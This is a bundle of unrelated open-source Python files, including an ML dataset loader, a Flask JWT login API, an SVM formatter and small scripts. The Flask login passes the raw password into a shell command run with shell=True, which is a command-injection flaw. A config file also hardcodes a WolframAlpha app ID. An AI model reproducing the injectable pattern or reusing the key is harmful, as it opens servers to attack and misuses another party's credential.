+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 15 20:25:53 2015\n\n@author: Wasit\n\"\"\"\nimport numpy as np\nimport pandas as pd\ndf = pd.read_csv('cs401.csv',delimiter=\",\",parse_dates=True,\n infer_datetime_format=True,dayfirst=False,encoding='utf8')\n\nmyheader=list(df.columns.values)\n\n\nadvisors={'name':[]}\nfor ad in df[myheader[7]]:\n if ad not in advisors['name']:\n advisors['name'].append(ad)\nadvisors['name'].sort()\nadvisors['normal']=np.zeros(len(advisors['name']))\nadvisors['special']=np.zeros(len(advisors['name']))\nmatching={}\nfor record in df.values:\n for student_id in record[1:4]:\n #if id is not Nan\n if student_id==student_id:\n #if special sudent\n if str(int(student_id))[2:6] =='0965':\n advisors['special'][advisors['name'].index(record[7])]+=1\n else:\n advisors['normal'][advisors['name'].index(record[7])]+=1\nwriter = pd.ExcelWriter('cs401_out.xlsx')\ndf.to_excel(writer,'Sheet1')\npd.DataFrame(advisors).to_excel(writer,'advisors')\nwriter.save()", "source": "wasit7/tutorials", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n# Author: Changxing DENG\n# @Time: 2021/10/8 11:27\n\nimport os\nimport cv2 as cv\nimport random\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\n\nclass VOCDataset(Dataset):\n def __init__(self, data, image_root=\"\", transform=None, train=True):\n super().__init__()\n self.data = data\n self.transform = transform\n self.image_root = image_root\n self.train = train\n self.feature_map_size = [37, 18, 9, 5, 3, 1]\n self.default_boxes_num = [4, 6, 6, 6, 4, 4]\n self.Sk = [0.2, 0.34, 0.48, 0.62, 0.76, 0.9, 1]\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, index):\n image_dict = self.data[index]\n folder = image_dict[\"folder\"]\n name = image_dict[\"filename\"]\n image_path = os.path.join(self.image_root, *folder, \"JPEGImages\", name)\n img = cv.imread(image_path)\n category = image_dict[\"category\"]\n bbox = image_dict[\"bndbox\"] # shape: nbox, 4\n if self.train: # \u6570\u636e\u589e\u5f3a\n hsv_img = cv.cvtColor(img, cv.COLOR_BGR2HSV)\n hsv_img = self.hue(hsv_img)\n hsv_img = self.saturation(hsv_img)\n hsv_img = self.value(hsv_img)\n img = cv.cvtColor(hsv_img, cv.COLOR_HSV2BGR)\n img = self.average_blur(img)\n img, bbox = self.horizontal_flip(img, bbox)\n img, bbox, category = self.crop(img, bbox, category)\n img, bbox = self.scale(img, bbox)\n img, bbox, category = self.translation(img, bbox, category)\n # Caused by data augmentation, such as crop, translation and so on.\n if len(bbox) == 0 or len(category) == 0:\n return [], []\n target = self.encoder(img, bbox, category)\n img = cv.resize(img, (300, 300))\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n if self.transform:\n img = self.transform(img)\n return img, target\n\n def hue(self, hsv_img):\n if random.random() > 0.5:\n factor = random.uniform(0.5, 1.5)\n enhanced_hue = hsv_img[:, :, 0] * factor\n enhanced_hue = np.clip(enhanced_hue, 0, 180).astype(hsv_img.dtype) # H\u7684\u8303\u56f4\u662f0-180(360/2)\n hsv_img[:, :, 0] = enhanced_hue\n return hsv_img\n\n def saturation(self, hsv_img):\n if random.random() > 0.5:\n factor = random.uniform(0.5, 1.5)\n enhanced_saturation = hsv_img[:, :, 1] * factor\n enhanced_saturation = np.clip(enhanced_saturation, 0, 255).astype(hsv_img.dtype)\n hsv_img[:, :, 1] = enhanced_saturation\n return hsv_img\n\n def value(self, hsv_img):\n if random.random() > 0.5:\n factor = random.uniform(0.5, 1.5)\n enhanced_value = hsv_img[:, :, 2] * factor\n enhanced_value = np.clip(enhanced_value, 0, 255).astype(hsv_img.dtype)\n hsv_img[:, :, 2] = enhanced_value\n return hsv_img\n\n def average_blur(self, img):\n if random.random()>0.5:\n img = cv.blur(img, (3, 3))\n return img\n\n def horizontal_flip(self, img, bbox):\n if random.random() > 0.5:\n img = cv.flip(img, 1)\n h, w, _ = img.shape\n temp = w - bbox[:, 0]\n bbox[:, 0] = w - bbox[:, 2]\n bbox[:, 2] = temp\n return img, bbox\n\n def crop(self, img, bbox, category):\n if random.random() > 0.5:\n factor_horizontal = random.uniform(0, 0.2)\n factor_vertical = random.uniform(0, 0.2)\n h, w, _ = img.shape\n start_horizontal = int(w * factor_horizontal)\n end_horizontal = start_horizontal + int(0.8 * w)\n start_vertical = int(h * factor_vertical)\n end_vertical = start_vertical + int(0.8 * h)\n img = img[start_vertical: end_vertical, start_horizontal:end_horizontal, :]\n center_x = (bbox[:, 0] + bbox[:, 2]) / 2\n center_y = (bbox[:, 1] + bbox[:, 3]) / 2\n inImage = (center_x > start_horizontal) & (center_x < end_horizontal) \\\n & (center_y > start_vertical) & (center_y < end_vertical)\n bbox = bbox[inImage, :]\n bbox[:, [0, 2]] = bbox[:, [0, 2]] - start_horizontal\n bbox[:, [1, 3]] = bbox[:, [1, 3]] - start_vertical\n bbox[:, [0, 2]] = np.clip(bbox[:, [0, 2]], 0, int(0.8 * w))\n bbox[:, [1, 3]] = np.clip(bbox[:, [1, 3]], 0, int(0.8 * h))\n category = category[inImage]\n return img, bbox, category\n\n def scale(self, img, bbox):\n probility = random.random()\n if probility > 0.7:\n factor = random.uniform(0.5, 1.5)\n h, w, _ = img.shape\n h = int(h * factor)\n img = cv.resize(img, (w, h)) # size\u7684\u987a\u5e8f\u662fw,h\n bbox[:, [1, 3]] = bbox[:, [1, 3]] * factor\n elif probility < 0.3:\n factor = random.uniform(0.5, 1.5)\n h, w, _ = img.shape\n w = int(w * factor)\n img = cv.resize(img, (w, h))\n bbox[:, [0, 2]] = bbox[:, [0, 2]] * factor\n bbox = bbox.astype(np.int)\n return img, bbox\n\n def translation(self, img, bbox, category):\n if random.random() > 0.5:\n factor_horizontal = random.uniform(-0.2, 0.2)\n factor_vertical = random.uniform(-0.2, 0.2)\n h, w, _ = img.shape\n w_tran = int(w * factor_horizontal)\n h_tran = int(h * factor_vertical)\n canvas = np.zeros_like(img)\n if w_tran < 0 and h_tran < 0: # \u5411\u53f3\u4e0b\u79fb\u52a8\n canvas[-h_tran:, -w_tran:, :] = img[:h + h_tran, :w + w_tran, :]\n elif w_tran < 0 and h_tran >= 0: # \u5411\u53f3\u4e0a\u79fb\u52a8\n canvas[:h - h_tran, -w_tran:, :] = img[h_tran:, :w + w_tran, :]\n elif w_tran >= 0 and h_tran < 0: # \u5411\u5de6\u4e0b\u79fb\u52a8\n canvas[-h_tran:, :w - w_tran, :] = img[:h + h_tran, w_tran:, :]\n elif w_tran >= 0 and h_tran >= 0: # \u5411\u5de6\u4e0a\u79fb\u52a8\n canvas[:h - h_tran, :w - w_tran, :] = img[h_tran:, w_tran:, :]\n bbox[:, [0, 2]] = bbox[:, [0, 2]] - w_tran\n bbox[:, [1, 3]] = bbox[:, [1, 3]] - h_tran\n # \u786e\u4fddbbox\u4e2d\u5fc3\u70b9\u5728\u56fe\u50cf\u5185\uff0c\u56e0\u4e3a\u4e2d\u5fc3\u70b9\u6240\u5728\u7684\u683c\u8d1f\u8d23\u9884\u6d4b\n center_x = (bbox[:, 0] + bbox[:, 2]) / 2 # shape: nbox\n center_y = (bbox[:, 1] + bbox[:, 3]) / 2 # shape: nbox\n inImage = ((center_x > 0) & (center_x < w)) & ((center_y > 0) & (center_y < h))\n bbox = bbox[inImage, :]\n bbox[:, [0, 2]] = np.clip(bbox[:, [0, 2]], 0, w) # \u4e2d\u5fc3\u867d\u7136\u8fd8\u5728\u56fe\u7247\u5185\uff0c\u4f46\u662f\u8fb9\u6846\u53ef\u80fd\u4f1a\u8d85\u8fc7\u8fb9\u754c\uff0c\u8981\u9650\u5236\u8303\u56f4\n bbox[:, [1, 3]] = np.clip(bbox[:, [1, 3]], 0, h)\n category = category[inImage]\n return canvas, bbox, category\n return img, bbox, category\n\n def encoder(self, img, bbox, category):\n bbox = torch.from_numpy(bbox)\n category = torch.from_numpy(category)\n h, w, _ = img.shape\n w_scale_factor = 300 / w\n h_scale_factor = 300 / h\n bbox[:, [0, 2]] = (bbox[:, [0, 2]] * w_scale_factor).long()\n bbox[:, [1, 3]] = (bbox[:, [1, 3]] * h_scale_factor).long()\n # 1\u3001\u786e\u4fdd\u6bcf\u4e2agt\u90fd\u80fd\u5339\u914d\u5230\u81f3\u5c11\u4e00\u4e2adefault box (\u89e3\u51b3\uff1a\u591a\u4e2agt\u5339\u914d\u5230\u540c\u4e00\u4e2adefault box\u7684\u60c5\u51b5)\n # 2\u3001\u628a\u591a\u4e2adefault box\u5206\u914d\u5230\u540c\u4e00\u4e2agt\n iou, default_box = self.calculate_iou(bbox, self.feature_map_size, self.default_boxes_num, self.Sk) # n, 8096\n _, selected_default_box_idx = torch.max(iou, dim=1, keepdim=True) # \u4fdd\u8bc1\u6bcf\u4e2agt\u90fd\u80fd\u6709\u5bf9\u5e94\u7684default box\n selected_gt_iou, selected_gt_idx = torch.max(iou, dim=0, keepdim=True) # \u6bcf\u4e2adefault box\u9009\u62e9\u4e00\u4e2agt\uff0c\u5b9e\u73b0\u591a\u4e2adefault box\u5bf9\u5e94\u4e00\u4e2agt\n selected_default_box_idx = selected_default_box_idx.squeeze(-1)\n selected_gt_iou = selected_gt_iou.squeeze(0)\n selected_gt_idx = selected_gt_idx.squeeze(0)\n selected_gt_iou[selected_default_box_idx] = 2 # \u5982\u679cgt\u4e0e\u5bf9\u5e94\u7684\u552f\u4e00default box\u7684iou<0.5\uff0c\u8fd9\u6837\u53ef\u4ee5\u4fdd\u8bc1\u4e0d\u4f1a\u5728\u540e\u9762\u7684\u64cd\u4f5c\u4e2d\u88ab\u6807\u8bb0\u4e3a\u80cc\u666f\n selected_gt_idx[selected_default_box_idx] = torch.arange(0, len(selected_default_box_idx))\n\n label = category[selected_gt_idx] + 1 # \u6bcf\u4e2adefault box\u5bf9\u5e94\u7684label\n mask = selected_gt_iou < 0.5\n label[mask] = 0 # \u80cc\u666f\u7c7b\n label = label.unsqueeze(-1)\n coordinate = bbox[selected_gt_idx, :] # 8096, 4\n center_x = (coordinate[:, 0] + coordinate[:, 2]) // 2\n center_y = (coordinate[:, 1] + coordinate[:, 3]) // 2\n width = coordinate[:, 2] - coordinate[:, 0]\n height = coordinate[:, 3] - coordinate[:, 1]\n default_center_x = default_box[0]\n default_center_y = default_box[1]\n default_width = default_box[2]\n default_height = default_box[3]\n tx = (center_x - default_center_x)/default_width # 8096,\n tx = tx.unsqueeze(-1)\n ty = (center_y - default_center_y)/default_height\n ty = ty.unsqueeze(-1)\n tw = torch.log(width / default_width)\n tw = tw.unsqueeze(-1)\n th = torch.log(height / default_height)\n th = th.unsqueeze(-1)\n return torch.cat([tx, ty, tw, th, label], dim=-1) # # 8096, 5\n\n\n def calculate_iou(self, bbox, feature_map_size, default_box_num, Sk):\n # \u9010\u5c42feature map\u8ba1\u7b97\n iou_list = []\n center_x_list = []\n center_y_list = []\n width_list = []\n height_list = []\n gt_num = bbox.shape[0]\n for idx, (fms, dbn, sk) in enumerate(zip(feature_map_size, default_box_num, Sk)):\n center = torch.linspace(0.5, fms-0.5, fms, dtype=torch.float) / fms * 300 # fms,\n center_x = center.unsqueeze(0).unsqueeze(0).unsqueeze(-1) # 1, 1, fms, 1\n center_x = center_x.repeat(1, fms, 1, dbn) # 1, fms, fms, dbn\n\n center_y = center.unsqueeze(-1).unsqueeze(-1).unsqueeze(0) # 1, fms, 1, 1\n center_y = center_y.repeat(1, 1, fms, dbn) # 1, fms, fms, dbn\n\n ratio = torch.Tensor([1, 2, 1 / 2, 3, 1 / 3])[:dbn-1]\n width_prime = height_prime = torch.Tensor([np.sqrt(sk * Sk[idx + 1]) * 300])\n\n width = sk * 300 / ratio\n width = torch.cat([width, width_prime], dim=0) # dbn,\n width = width.unsqueeze(0).unsqueeze(0).unsqueeze(0) # 1, 1, 1, dbn\n width = width.repeat(1, fms, fms, 1) # 1, fms, fms, dbn\n\n height = sk * 300 * ratio\n height = torch.cat([height, height_prime], dim=0) # dbn,\n height = height.unsqueeze(0).unsqueeze(0).unsqueeze(0) # 1, 1, 1, dbn\n height = height.repeat(1, fms, fms, 1) # 1, fms, fms, dbn\n\n x1 = center_x - width / 2 # 1, fms, fms, dbn\n y1 = center_y - height / 2\n x2 = center_x + width / 2\n y2 = center_y + height / 2\n\n bbox_copy = bbox.unsqueeze(1).unsqueeze(1).unsqueeze(1).float() # n, 1, 1, 1, 4\n left = torch.max(bbox_copy[:, :, :, :, 0], x1)\n top = torch.max(bbox_copy[:, :, :, :, 1], y1)\n right = torch.min(bbox_copy[:, :, :, :, 2], x2)\n bottom = torch.min(bbox_copy[:, :, :, :, 3], y2)\n w = torch.max(right - left, torch.Tensor([1e-6]))\n h = torch.max(bottom - top, torch.Tensor([1e-6]))\n intersection = h * w\n union = (bbox_copy[:, :, :, :, 2] - bbox_copy[:, :, :, :, 0]) * (bbox_copy[:, :, :, :, 3] - bbox_copy[:, :, :, :, 1]) \\\n + (x2 - x1) * (y2 - y1) - intersection\n iou = intersection / union # n, fms, fms, dbn\n iou_list.append(iou.reshape(gt_num, -1))\n center_x_list.append(center_x.reshape(-1))\n center_y_list.append(center_y.reshape(-1))\n width_list.append(width.reshape(-1))\n height_list.append(height.reshape(-1))\n return torch.cat(iou_list, dim=-1), (torch.cat(center_x_list, dim=0), torch.cat(center_y_list, dim=0),\n torch.cat(width_list, dim=0), torch.cat(height_list, dim=0))\n# #\n# if __name__ == \"__main__\":\n# import glob\n# import xml.dom.minidom as xdm\n# def load_data(data_path):\n# voc2007_trainval_annotations = os.path.join(data_path, \"VOC2007\", \"trainval\", \"Annotations\", \"*xml\")\n# annotation_path = glob.glob(voc2007_trainval_annotations)\n#\n# all_category = [\"aeroplane\", \"bicycle\", \"bird\", \"boat\", \"bottle\", \"bus\", \"car\", \"cat\", \"chair\", \"cow\",\n# \"diningtable\", \"dog\", \"horse\", \"motorbike\", \"person\", \"pottedplant\", \"sheep\", \"sofa\",\n# \"train\", \"tvmonitor\"]\n#\n# random.shuffle(annotation_path)\n# res = []\n# for i, path in enumerate(annotation_path):\n# path_split = os.path.dirname(path).split('\\\\')\n# folder = [path_split[2], path_split[3]] # [VOC2007/VOC2012, trainval/test]\n# DOMTree = xdm.parse(path)\n# collection = DOMTree.documentElement\n# filename = collection.getElementsByTagName(\"filename\")[0].childNodes[0].data\n# category_list = []\n# bndbox_list = []\n# object_ = collection.getElementsByTagName(\"object\")\n# for obj in object_:\n# category = obj.getElementsByTagName(\"name\")[0].childNodes[0].data\n# bndbox = obj.getElementsByTagName(\"bndbox\")[0]\n# xmin = int(bndbox.getElementsByTagName(\"xmin\")[0].childNodes[0].data)\n# ymin = int(bndbox.getElementsByTagName(\"ymin\")[0].childNodes[0].data)\n# xmax = int(bndbox.getElementsByTagName(\"xmax\")[0].childNodes[0].data)\n# ymax = int(bndbox.getElementsByTagName(\"ymax\")[0].childNodes[0].data)\n# category_list.append(all_category.index(category))\n# bndbox_list.append([xmin, ymin, xmax, ymax])\n# res.append({\"folder\": folder, \"filename\": filename, \"category\": np.array(category_list),\n# \"bndbox\": np.array(bndbox_list)})\n# return res\n#\n# DATA_PATH = \"D:\\\\dataset\"\n# res = load_data(DATA_PATH)\n# eval_res = res[:100]\n# eval_set = VOCDataset(data=eval_res, image_root=DATA_PATH, transform=None, train=False)\n# for data in eval_set:\n# print(data)", "source": "gddcx/pytorch-ssd", "license": "MIT"}
+{"text": "from setuptools import setup, find_packages\n\nsetup(\n name=\"helm-doc\",\n version=\"0.1.0\",\n py_modules=[\n \"helmdoc\",\n ],\n package=find_packages(),\n install_requires=[\"wheel\", \"Click\", \"pyyaml\"],\n entry_points=\"\"\"\n [console_scripts]\n helm-doc=helmdoc:cli\n \"\"\",\n)\n", "source": "AlexandrePicosson/helm-doc", "license": "MIT"}
+{"text": "from flask import request\nfrom flask_restx import Resource, fields, Namespace\nimport jwt\nimport datetime\nimport functools\nfrom models import Users, Admins\nimport subprocess\nimport os\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\nfrom conf import const\n\nload_dotenv(verbose=True)\ndotenv_path = join(dirname(__file__), '.env')\nload_dotenv(dotenv_path)\n\nSECRET_KEY = os.environ.get(\"SECRET_KEY\")\n\napi = Namespace('auth', description=\"Authentication\")\n\nauth_request = api.model('authentication_request', {\n 'email': fields.String(default='example@gmail.com'),\n 'password': fields.String(default='password')\n})\nauth_response = api.model('authentication_response', {\n 'token': fields.String(default='JSON Web Token'),\n 'user_id': fields.Integer,\n 'role': fields.String,\n 'status': fields.String\n})\n\n\n@api.route('')\nclass Index(Resource):\n @api.marshal_with(auth_response)\n @api.doc(body=auth_request)\n def post(self):\n email = request.json['email']\n password = request.json['password']\n query_user = Users.select(\n Users.user_id,\n Users.email,\n Users.password,\n Users.status\n ).where(Users.email == email)\n if len(query_user) == 0:\n result = \"Passsword or Email Incorrect\"\n return api.abort(400, result)\n elif len(query_user) > 1: # not neccessary, just in case\n result = \"Duplicate Email Address\"\n return api.abort(400, result)\n if query_user[0].status == 'RESIGNED':\n result = \"Login of Resigned User Not Allowed\"\n return api.abort(400, result)\n script = \"php -r 'echo password_verify(\\\"{0}\\\",\\\"{1}\\\") ? \\\"true\\\" : \\\"false\\\";'\".format(\n password, query_user[0].password.replace('$', '\\$'))\n ret = subprocess.Popen([script], stdout=subprocess.PIPE, shell=True)\n (out, _) = ret.communicate()\n if out.decode('utf-8') != \"true\":\n result = \"Passsword or Email Incorrect\"\n return api.abort(400, result)\n # check if user is admin\n query_admin = Admins.select(\n Admins.user_id,\n Admins.role\n ).where(Admins.user_id == query_user[0].user_id)\n if len(query_admin) == 0:\n admin_role = const.GENERAL\n else:\n admin_role = query_admin[0].role\n exp = datetime.datetime.utcnow() + datetime.timedelta(hours=1)\n encoded = jwt.encode({'name': query_user[0].user_id, 'exp': exp}, SECRET_KEY, algorithm=\"HS256\")\n result = {'user_id': query_user[0].user_id,\n 'token': encoded,\n 'role': admin_role,\n 'status': query_user[0].status}\n return result\n\n\ndef login_required(method):\n @functools.wraps(method)\n def wrapper(*args, **kwargs):\n header = request.headers.get('Authorization')\n if header is None:\n result = \"Authorization Header Not Found\"\n return api.abort(400, result)\n try:\n _, token = header.split()\n except ValueError:\n result = \"Token Not Valid\"\n return api.abort(400, result)\n try:\n decoded = jwt.decode(token, SECRET_KEY, algorithms='HS256')\n user_id = decoded['name']\n except jwt.DecodeError:\n result = \"Token Not Valid\"\n return api.abort(400, result)\n except jwt.ExpiredSignatureError:\n result = \"Token Expired\"\n return api.abort(400, result)\n return method(*args, user_id, **kwargs)\n return wrapper\n", "source": "nozomu-y/kleines-mypage-api", "license": "MIT"}
+{"text": "from uwcoursesearch import app\nimport pytest\n\n@pytest.fixture\ndef test_app():\n app.testing = True\n return app.test_client()\n\ndef test_homepage(test_app):\n rv = test_app.get('/')\n\n assert b\"UWCourseSearch\" in rv.data\n\ndef test_searchpage(test_app):\n rv = test_app.get('/search')\n\n assert b\"Search\" in rv.data\n\ndef test_resultspage(test_app):\n rv = test_app.post('/results', data=dict(CourseCode='101r', CourseName='JAPAN',\n Term='1179'))\n\n assert b\"Class\" in rv.data and b\"Section\" in rv.data and b\"Capacity\" in rv.data \\\n and b\"Enrolled\" in rv.data\n", "source": "ConMur/UWCourseSearch", "license": "MIT"}
+{"text": "from subprocess import call\r\nimport os\r\n\r\nPAIRWISE_THRESHOLD = 1.e-1\r\nFEATURE_DIFF_THRESHOLD = 1.e-6\r\n\r\nclass LibSvmFormatter:\r\n def processQueryDocFeatureVector(self,docClickInfo,trainingFile):\r\n '''Expects as input a sorted by queries list or generator that provides the context \r\n for each query in a tuple composed of: (query , docId , relevance , source , featureVector).\r\n The list of documents that are part of the same query will generate comparisons\r\n against each other for training. '''\r\n with open(trainingFile,\"w\") as output:\r\n self.featureNameToId = {}\r\n self.featureIdToName = {}\r\n self.curFeatIndex = 1;\r\n curListOfFv = []\r\n curQueryAndSource = \"\"\r\n for query,docId,relevance,source,featureVector in docClickInfo:\r\n if curQueryAndSource != query + source:\r\n #Time to flush out all the pairs\r\n _writeRankSVMPairs(curListOfFv,output);\r\n curListOfFv = []\r\n curQueryAndSource = query + source\r\n curListOfFv.append((relevance,self._makeFeaturesMap(featureVector)))\r\n _writeRankSVMPairs(curListOfFv,output); #This catches the last list of comparisons\r\n\r\n def _makeFeaturesMap(self,featureVector):\r\n '''expects a list of strings with \"feature name\":\"feature value\" pairs. Outputs a map of map[key] = value.\r\n Where key is now an integer. libSVM requires the key to be an integer but not all libraries have\r\n this requirement.'''\r\n features = {}\r\n for keyValuePairStr in featureVector:\r\n featName,featValue = keyValuePairStr.split(\"=\");\r\n features[self._getFeatureId(featName)] = float(featValue);\r\n return features\r\n\r\n def _getFeatureId(self,key):\r\n if key not in self.featureNameToId:\r\n self.featureNameToId[key] = self.curFeatIndex;\r\n self.featureIdToName[self.curFeatIndex] = key;\r\n self.curFeatIndex += 1;\r\n return self.featureNameToId[key];\r\n\r\n def convertLibSvmModelToLtrModel(self,libSvmModelLocation,outputFile,modelName,featureStoreName):\r\n with open(libSvmModelLocation, 'r') as inFile:\r\n with open(outputFile,'w') as convertedOutFile:\r\n # TODO: use json module instead of direct write\r\n convertedOutFile.write('{\\n\\t\"class\":\"org.apache.solr.ltr.model.LinearModel\",\\n')\r\n convertedOutFile.write('\\t\"store\": \"' + str(featureStoreName) + '\",\\n')\r\n convertedOutFile.write('\\t\"name\": \"' + str(modelName) + '\",\\n')\r\n convertedOutFile.write('\\t\"features\": [\\n')\r\n isFirst = True;\r\n for featKey in self.featureNameToId.keys():\r\n convertedOutFile.write('\\t\\t{ \"name\":\"' + featKey + '\"}' if isFirst else ',\\n\\t\\t{ \"name\":\"' + featKey + '\"}' );\r\n isFirst = False;\r\n convertedOutFile.write(\"\\n\\t],\\n\");\r\n convertedOutFile.write('\\t\"params\": {\\n\\t\\t\"weights\": {\\n');\r\n\r\n startReading = False\r\n isFirst = True\r\n counter = 1\r\n for line in inFile:\r\n if startReading:\r\n newParamVal = float(line.strip())\r\n if not isFirst:\r\n convertedOutFile.write(',\\n\\t\\t\\t\"' + self.featureIdToName[counter] + '\":' + str(newParamVal))\r\n else:\r\n convertedOutFile.write('\\t\\t\\t\"' + self.featureIdToName[counter] + '\":' + str(newParamVal))\r\n isFirst = False\r\n counter += 1\r\n elif line.strip() == 'w':\r\n startReading = True\r\n convertedOutFile.write('\\n\\t\\t}\\n\\t}\\n}')\r\n\r\ndef _writeRankSVMPairs(listOfFeatures,output):\r\n '''Given a list of (relevance, {Features Map}) where the list represents\r\n a set of documents to be compared, this calculates all pairs and\r\n writes the Feature Vectors in a format compatible with libSVM.\r\n Ex: listOfFeatures = [\r\n #(relevance, {feature1:value, featureN:value})\r\n (4, {1:0.9, 2:0.9, 3:0.1})\r\n (3, {1:0.7, 2:0.9, 3:0.2})\r\n (1, {1:0.1, 2:0.9, 6:0.1})\r\n ] \r\n '''\r\n for d1 in range(0,len(listOfFeatures)):\r\n for d2 in range(d1+1,len(listOfFeatures)):\r\n doc1,doc2 = listOfFeatures[d1], listOfFeatures[d2]\r\n fv1,fv2 = doc1[1],doc2[1]\r\n d1Relevance, d2Relevance = float(doc1[0]),float(doc2[0])\r\n if d1Relevance - d2Relevance > PAIRWISE_THRESHOLD:#d1Relevance > d2Relevance\r\n outputLibSvmLine(\"+1\",subtractFvMap(fv1,fv2),output);\r\n outputLibSvmLine(\"-1\",subtractFvMap(fv2,fv1),output);\r\n elif d1Relevance - d2Relevance < -PAIRWISE_THRESHOLD: #d1Relevance < d2Relevance:\r\n outputLibSvmLine(\"+1\",subtractFvMap(fv2,fv1),output);\r\n outputLibSvmLine(\"-1\",subtractFvMap(fv1,fv2),output);\r\n else: #Must be approximately equal relevance, in which case this is a useless signal and we should skip\r\n continue;\r\n\r\ndef subtractFvMap(fv1,fv2):\r\n '''returns the fv from fv1 - fv2'''\r\n retFv = fv1.copy();\r\n for featInd in fv2.keys():\r\n subVal = 0.0;\r\n if featInd in fv1:\r\n subVal = fv1[featInd] - fv2[featInd]\r\n else:\r\n subVal = -fv2[featInd]\r\n if abs(subVal) > FEATURE_DIFF_THRESHOLD: #This ensures everything is in sparse format, and removes useless signals\r\n retFv[featInd] = subVal;\r\n else:\r\n retFv.pop(featInd, None)\r\n return retFv;\r\n\r\ndef outputLibSvmLine(sign,fvMap,outputFile):\r\n outputFile.write(sign)\r\n for feat in fvMap.keys():\r\n outputFile.write(\" \" + str(feat) + \":\" + str(fvMap[feat]));\r\n outputFile.write(\"\\n\")\r\n\r\ndef trainLibSvm(libraryLocation,libraryOptions,trainingFileName,trainedModelFileName):\r\n if os.path.isfile(libraryLocation):\r\n call([libraryLocation, libraryOptions, trainingFileName, trainedModelFileName])\r\n else:\r\n raise Exception(\"NO LIBRARY FOUND: \" + libraryLocation);\r\n", "source": "jsonyeung/cmpt456-lucene-solr", "license": "Apache-2.0"}
+{"text": "from simple_settings import settings\nfrom simple_settings.utils import settings_stub\n\n# Stub examples\nwith settings_stub(SOME_SETTING='foo'):\n assert settings.SOME_SETTING == 'foo'\nassert settings.SOME_SETTING == 'bar'\n\n\n@settings_stub(SOME_SETTING='foo')\ndef get_some_setting():\n return settings.SOME_SETTING\n\nassert get_some_setting() == 'foo'\nassert settings.SOME_SETTING == 'bar'\n", "source": "pichatelli/simple-settings", "license": "MIT"}
+{"text": "matriz = ([0,0,0], [0,0,0], [0,0,0])\npar = terceira = maior = 0\nfor l in range(0,3):\n for c in range(0,3):\n matriz[l][c] = int(input(f'Type a value for [{l}, {c}]: '))\n if matriz[l][c] % 2 == 0:\n par += matriz[l][c]\nprint('=-'*15)\nfor l in range (0,3):\n for c in range(0,3):\n print(f'[{matriz[l][c]:^5}]', end='')\n print()\nprint('=-'*15)\nprint(f'Sum of even values: {par}')\nfor l in range(0,3):\n terceira += matriz[l][2]\nprint(f'Sum from values of third column: {terceira}')\nfor c in range(0,3):\n if c == 0:\n maior = matriz[1][c]\n elif matriz[1][c] > maior:\n maior = matriz[1][c]\nprint(f'Bigger value of second line: {maior}')", "source": "lucadomingues/Python", "license": "MIT"}
+{"text": "class Solution(object):\n def findDisappearedNumbers(self, nums):\n return list(set(range(1,len(nums)+1)) - set(nums))\n\nnums = [4, 6, 2, 6, 7, 2, 1]\n\ndef test():\n assert Solution().findDisappearedNumbers(nums) == [3, 5]", "source": "ktaletsk/daily-problem", "license": "MIT"}
+{"text": "from datetime import datetime\nfrom user import unfollow_accounts\nimport schedule\nimport time\n\n# # # TIME INTERVAL # # #\nMINUTES_INTERVAL = 20 # How often should the script be executed (in minutes)\n\n\ndef unfollow():\n result = unfollow_accounts()\n now = datetime.now()\n dt = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n if result['ok']:\n print(\"[{}] {}, Followed accounts: {}\".format(dt, result['message'], result['total']))\n else:\n print(\"[{}] Error: {}\".format(dt, result['message']))\n\n\ndef main():\n job = None\n try:\n print(\"# Twitter Auto Unfollower #\")\n unfollow()\n job = schedule.every(MINUTES_INTERVAL).minutes.do(unfollow)\n while True:\n schedule.run_pending()\n time.sleep(2)\n\n except KeyboardInterrupt:\n schedule.cancel_job(job)\n print(\"Shutdown requested... Exiting.\")\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "AlbertoBaroso/twitter-unfollower", "license": "MIT"}
+{"text": "class Motor:\n def __init__(self):\n self.velocidade = 0\n\n def acelerar(self):\n self.velocidade += 1\n\n def frear(self):\n self.velocidade -= 2\n self.velocidade = max(0, self.velocidade)\n\nNORTE = 'Norte'\nSUL = 'Sul'\nLESTE = 'Leste'\nOESTE = 'Oeste'\nclass Direcao:\n rotacao_a_direita_dct={NORTE:LESTE, LESTE:SUL, SUL:OESTE, OESTE:NORTE}\n rotacao_a_esquerda_dct={NORTE:OESTE, OESTE:SUL, SUL:LESTE, LESTE:NORTE}\n def __init__(self):\n self.valor = NORTE\n\n def girar_a_direta(self):\n self.valor = self.rotacao_a_direita_dct[self.valor]\n def girar_a_esquerda(self):\n self.valor = self.rotacao_a_esquerda_dct[self.valor]\n\n\n\n", "source": "wanderaze/pythonbirds", "license": "MIT"}
+{"text": "#wolframalpha settings\nfrom wolframalpha import Client\napp_id = \"TGRUL2-794AT5556P\"\nclient = Client(app_id)\n\n#getting user directory\nfrom subprocess import getoutput\nhomeDir = getoutput('echo $HOME')\n", "source": "azharhappy/Nancy-VA--MacOS", "license": "MIT"}
+{"text": "import sys\nimport evdev\nimport logging\nimport threading\n\ndef print_callback ( id ) :\n logging.info( id )\n\nclass RfidReader :\n # set to true when the reader thread starts; if set to false, the reader will stop\n running = False\n\n # the thread that is reading characters from the RFID reader\n thread = None\n\n # the callback that is called, when an ID has been read\n callback = None\n\n # stop the reader and wait until it is stopped\n def stop ( self ) :\n self.running = False\n\n if self.thread :\n self.thread.join()\n\n # start the reader\n # callback will be called with ID as argument, when an ID has been read\n def start ( self, callback ) :\n self.thread = threading.Thread( target = self.__loop )\n self.running = True\n self.callback = callback\n self.thread.start()\n\n # wait until the reader has been stopped\n def join ( self ) :\n if self.thread :\n self.thread.join()\n\n def __loop ( self ) :\n try :\n device = evdev.InputDevice( '/dev/input/event0' )\n\n logging.info( device )\n\n id = ''\n logging.info( \"RFID event loop started\" )\n\n while self.running :\n event = device.read_one()\n\n while event != None :\n if event.type == evdev.ecodes.EV_KEY :\n key_event = evdev.events.KeyEvent( event )\n if key_event.keystate == evdev.events.KeyEvent.key_up :\n if key_event.keycode == 'KEY_ENTER' :\n self.callback( id )\n id = ''\n else :\n id = id + key_event.keycode.split( '_' )[1]\n\n event = device.read_one()\n\n logging.info( \"RFID event loop stopped\" )\n except KeyboardInterrupt :\n raise\n except evdev.EvdevError as e:\n 